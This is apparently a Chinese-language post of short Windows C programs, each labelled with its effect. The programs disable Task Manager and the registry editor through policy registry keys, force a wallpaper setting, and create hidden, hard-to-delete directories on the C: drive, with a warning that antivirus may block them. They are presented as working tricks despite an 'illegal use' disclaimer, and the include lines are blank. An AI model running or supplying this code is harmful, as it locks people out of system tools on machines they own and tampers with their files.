注:以下代码应勿用于非法(Dev-c++5.11实测可用)
效果:禁用任务管理器
提示:可能被杀毒软件拦截
#include
#include
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
效果:禁用注册表
提示:可能被杀毒软件拦截
#include
#include
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
效果:桌面壁纸
#include
#include
int main()
{
DWORD value = 1;
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
return 0;
}
效果:不可删除文件
解决方法:将51-52行换成52行
#include
#include
#include
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
char file[2048] = { 0 };
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
BOOL bRet = CreateDirectory(file, NULL);
if (bRet)
{
strcat(file, "\\anti...\\");
bRet = CreateDirectory(file, NULL);
if (bRet)
{
SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
return TRUE;
}
}
return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
char file[2048] = { 0 };
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
strcat(file, "\\anti...\\");
RemoveDirectory(file);
ZeroMemory(file, MAX_PATH);
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
RemoveDirectory(file);
}
int main(int argc, char * argv[])
{
char *Fuck[4] = { "你", "好", "世", "界" };
int FuckLen = sizeof(Fuck) / sizeof(int);
TCHAR Destop[MAX_PATH];
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);
for (int x = 0; x < FuckLen; x++)
{
SetImmunity("c://", Fuck[x]);
//ClearImmunity("c://", Fuck[x]);
}
system("pause");
return 0;
}